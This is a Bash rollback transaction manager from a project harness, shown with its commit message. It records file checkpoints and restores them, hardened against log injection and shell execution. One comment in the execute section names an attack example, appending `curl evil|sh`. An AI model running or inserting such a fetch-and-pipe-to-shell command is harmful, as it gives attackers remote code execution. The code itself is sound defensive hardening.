Files
CASAN/AINative_OKR_CASAN5/packages/casan-harness/scripts/bash/rollback-manager.sh
T
thanhnvandClaude Opus 4.8 3adc48ed82 feat(plan-01): Phase 4a — make harness location-independent (facade-free capable)
Resolve every root by marker walk-up instead of a fixed depth that only lands on the
app via the .specify compat symlink, so the harness runs correctly when invoked by its
real packages/casan-harness path — proven by a full gate run via that path: 64/0/0.

- 95 scripts/tests: PROJECT_ROOT/ROOT "$SCRIPT_DIR/../.."-style computations -> $CASAN_APP_ROOT.
- 6 leaf scripts (infra-lab, context-validate, secrets-scan, path-guard, toolchain-verify,
  phase2-sourcegen) now source casan-paths + use CASAN_APP_ROOT.
- run-casan4: source casan-paths as a package sibling (facade-independent), PROJECT_ROOT=CASAN_APP_ROOT.
- 8 Python files: project_root()/REPO_ROOT/bundle_root walk UP for the .specify marker
  (control-plane-settings, loop_common, model-call, context-compress, test-integrity,
  bundle-integrity, traceability-matrix; generate-* fixed earlier).
- evidence-pack-build.py + traceability-matrix.py: domain refs -> apps/okr/domain
  (input/, corpus/redteam-vectors.jsonl, traceability-map.json).
- ci-harness-gate.sh: export CASAN_TESTS_DIR/CASAN_TEST_MANIFEST/CASAN_BUNDLE_ROOT so the
  integrity Python resolves via the harness root regardless of invocation path; ROOT=CASAN_APP_ROOT.
- Remove the domain compat symlinks from packages/casan-harness/security (redteam-corpus,
  redteam-vectors, benign-corpus) — packages now holds NO domain data.

Both invocation paths pass (compat facade still present): .specify/... and packages/...

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-07-08 10:50:50 +09:00

131 lines
5.4 KiB
Bash
Executable File

#!/usr/bin/env bash
set -euo pipefail
# CASAN Level 5 rollback transaction recorder.
# Usage:
# rollback-manager.sh record <action> <rollback-command>
# rollback-manager.sh checkpoint <file> # back up a file; records a REAL restore command
# rollback-manager.sh execute <transaction-id>
MODE="${1:-}"
ACTION="${2:-}"
ROLLBACK_COMMAND="${3:-}"
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
source "$SCRIPT_DIR/casan-paths.sh"
PROJECT_ROOT="$CASAN_APP_ROOT"
LOG_DIR="$CASAN_STATE_ROOT/logs/level5"
BACKUP_DIR="$LOG_DIR/rollback-backups"
TX_LOG="$LOG_DIR/rollback-transactions.jsonl"
mkdir -p "$LOG_DIR" "$BACKUP_DIR"
# checkpoint: snapshot a real file and record a real restore command so a later
# `execute` genuinely undoes any change (not a marker write).
if [[ "$MODE" == "checkpoint" ]]; then
TARGET="$ACTION"
if [[ -z "$TARGET" || ! -f "$TARGET" ]]; then
echo "Usage: rollback-manager.sh checkpoint <existing-file>" >&2
exit 64
fi
TX_ID="$(uuidgen 2>/dev/null | tr '[:upper:]' '[:lower:]' || printf 'tx-%s-%s' "$(date +%s)" "$$")"
BACKUP="$BACKUP_DIR/$TX_ID.bak"
cp "$TARGET" "$BACKUP"
ABS_TARGET="$(cd "$(dirname "$TARGET")" && pwd)/$(basename "$TARGET")"
RESTORE_CMD="cp '$BACKUP' '$ABS_TARGET'"
TIMESTAMP="$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
python - "$TX_LOG" "$TIMESTAMP" "$TX_ID" "$ABS_TARGET" "$RESTORE_CMD" "$BACKUP" <<'PY'
import json, sys
log, ts, tx, target, cmd, backup = sys.argv[1:]
# SEC-03: `op` + backup/target are the STRUCTURED, executable form. rollback_command
# is kept only as a human-readable / audit string — `execute` never shell-runs it.
rec = {"timestamp": ts, "transaction_id": tx, "action": "checkpoint",
"op": "restore_file", "target": target, "backup": backup,
"rollback_command": cmd, "status": "recorded"}
open(log, "a", encoding="utf-8").write(json.dumps(rec) + "\n")
PY
echo "ROLLBACK_CHECKPOINT transaction_id=$TX_ID target=$ABS_TARGET"
exit 0
fi
if [[ "$MODE" == "record" ]]; then
if [[ -z "$ACTION" || -z "$ROLLBACK_COMMAND" ]]; then
echo "Usage: rollback-manager.sh record <action> <rollback-command>" >&2
exit 64
fi
TX_ID="$(uuidgen 2>/dev/null | tr '[:upper:]' '[:lower:]' || printf 'tx-%s-%s' "$(date +%s)" "$$")"
TIMESTAMP="$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
# SEC-03/SEC-05: serialize via json.dumps so `action`/`rollback_command` cannot
# inject a second forged JSON record (a raw printf let a `"`+newline break out).
# Note: a free-form `record` entry has no structured `op`, so `execute` REFUSES
# to run it — free-form rollback commands are audit-only, never executed.
python - "$TX_LOG" "$TIMESTAMP" "$TX_ID" "$ACTION" "$ROLLBACK_COMMAND" <<'PY'
import json, sys
log, ts, tx, action, cmd = sys.argv[1:]
rec = {"timestamp": ts, "transaction_id": tx, "action": action,
"rollback_command": cmd, "status": "recorded"}
open(log, "a", encoding="utf-8").write(json.dumps(rec) + "\n")
PY
echo "ROLLBACK_RECORDED transaction_id=$TX_ID"
exit 0
fi
if [[ "$MODE" == "execute" ]]; then
TX_ID="$ACTION"
if [[ -z "$TX_ID" || ! -f "$TX_LOG" ]]; then
echo "ROLLBACK_NOT_FOUND transaction_id=$TX_ID" >&2
exit 1
fi
# SEC-03 (H-03): NEVER `bash -c` a string read from the (unsigned) tx log — that
# was arbitrary remote code execution (append `curl evil|sh` -> executed). Only a
# STRUCTURED, whitelisted op is honored. The one safe op today is "restore_file":
# copy our own backup back over the target, performed in Python via argv (no shell),
# and only when the source lives inside our controlled backup dir.
PRC=0
RESTORED="$(python - "$TX_LOG" "$TX_ID" "$BACKUP_DIR" <<'PY'
import json, os, shutil, sys
log, tx, backup_dir = sys.argv[1], sys.argv[2], os.path.realpath(sys.argv[3])
rec = None
for line in open(log, encoding="utf-8"):
line = line.strip()
if not line:
continue
try:
r = json.loads(line)
except ValueError:
continue # malformed line: ignore, fail-closed later
if r.get("transaction_id") == tx and r.get("action") == "checkpoint":
rec = r # last checkpoint for this tx wins
if not rec:
sys.stderr.write("no_structured_checkpoint\n"); sys.exit(3)
op = rec.get("op") or ("restore_file" if rec.get("backup") and rec.get("target") else "")
backup = os.path.realpath(rec.get("backup", ""))
target = rec.get("target", "")
if op != "restore_file" or not backup or not target:
sys.stderr.write("not_a_whitelisted_restore_op\n"); sys.exit(4)
# A forged record cannot point the restore SOURCE at an arbitrary file.
if not (backup == backup_dir or backup.startswith(backup_dir + os.sep)):
sys.stderr.write("backup_outside_controlled_dir\n"); sys.exit(5)
if not os.path.isfile(backup):
sys.stderr.write("backup_missing\n"); sys.exit(6)
shutil.copyfile(backup, target) # argv copy — no shell interpretation
sys.stdout.write(target)
PY
)" || PRC=$?
if [[ "$PRC" -ne 0 ]]; then
echo "ROLLBACK_REFUSED transaction_id=$TX_ID reason=no_structured_restore_op (rc=$PRC)" >&2
exit 1
fi
TIMESTAMP="$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
python - "$TX_LOG" "$TIMESTAMP" "$TX_ID" <<'PY'
import json, sys
log, ts, tx = sys.argv[1:]
open(log, "a", encoding="utf-8").write(
json.dumps({"timestamp": ts, "transaction_id": tx, "status": "rolled_back"}) + "\n")
PY
echo "ROLLBACK_EXECUTED transaction_id=$TX_ID target=$RESTORED"
exit 0
fi
echo "Usage: rollback-manager.sh record|execute ..." >&2
exit 64